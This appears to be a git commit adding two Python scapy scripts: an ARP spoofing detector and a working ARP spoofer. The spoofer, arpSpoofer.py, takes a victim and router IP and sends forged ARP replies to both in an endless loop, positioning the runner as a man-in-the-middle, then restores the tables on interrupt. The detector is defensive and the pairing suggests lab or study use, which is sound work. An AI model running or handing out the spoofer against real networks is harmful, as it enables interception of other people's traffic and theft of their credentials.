Upload files to "/"
This commit is contained in:
20
arpDetector.py
Normal file
20
arpDetector.py
Normal file
@@ -0,0 +1,20 @@
|
||||
from scapy.all import sniff
|
||||
IP_MAC_Map = {}
|
||||
|
||||
def processPacket(packet):
|
||||
src_IP = packet['ARP'].psrc
|
||||
src_MAC = packet['Ether'].src
|
||||
if src_MAC in IP_MAC_Map.keys():
|
||||
if IP_MAC_Map[src_MAC] != src_IP :
|
||||
try:
|
||||
old_IP = IP_MAC_Map[src_MAC]
|
||||
except:
|
||||
old_IP = "unknown"
|
||||
message = ("\n Possible ARP attack detected \n "
|
||||
+ " It is possible that the machine with IP address \n " + str(src_IP) + " is pretending to be "
|
||||
+ str(old_IP) + "\n ")
|
||||
return message
|
||||
else:
|
||||
IP_MAC_Map[src_MAC] = src_IP
|
||||
|
||||
sniff(count=0, filter="arp", store = 0, prn = processPacket)
|
||||
36
arpSpoofer.py
Normal file
36
arpSpoofer.py
Normal file
@@ -0,0 +1,36 @@
|
||||
from scapy.all import *
|
||||
import sys
|
||||
|
||||
my_mac = get_if_hwaddr("eth0")
|
||||
|
||||
def arp_spoof(dest_ip, dest_mac, source_ip):
|
||||
packet = ARP(op = "is-at",hwsrc = my_mac, psrc = source_ip,
|
||||
hwdst = dest_mac, pdst = dest_ip)
|
||||
send(packet, verbose = False)
|
||||
|
||||
def arp_restore(dest_ip, dest_mac, source_ip, source_mac):
|
||||
packet = ARP(op = "is-at", hwsrc = source_mac, psrc = source_ip,
|
||||
hwdst = dest_mac, pdst = dest_ip)
|
||||
send(packet, verbose = False)
|
||||
|
||||
def main():
|
||||
victim_ip = sys.argv[1]
|
||||
router_ip = sys.argv[2]
|
||||
victim_mac = getmacbyip(victim_ip)
|
||||
router_mac = getmacbyip(router_ip)
|
||||
print("victim_mac =", victim_mac)
|
||||
print("router_mac =", router_mac)
|
||||
|
||||
|
||||
try:
|
||||
print("Sending spoofed ARP packets")
|
||||
while True:
|
||||
|
||||
arp_spoof(victim_ip, victim_mac, router_ip)
|
||||
arp_spoof(router_ip, router_mac, victim_ip)
|
||||
except KeyboardInterrupt:
|
||||
print("Restoring ARP Tables")
|
||||
arp_restore(router_ip, router_mac, victim_ip, victim_mac)
|
||||
arp_restore(victim_ip, victim_mac, router_ip, router_mac)
|
||||
quit()
|
||||
main()
|
||||
Reference in New Issue
Block a user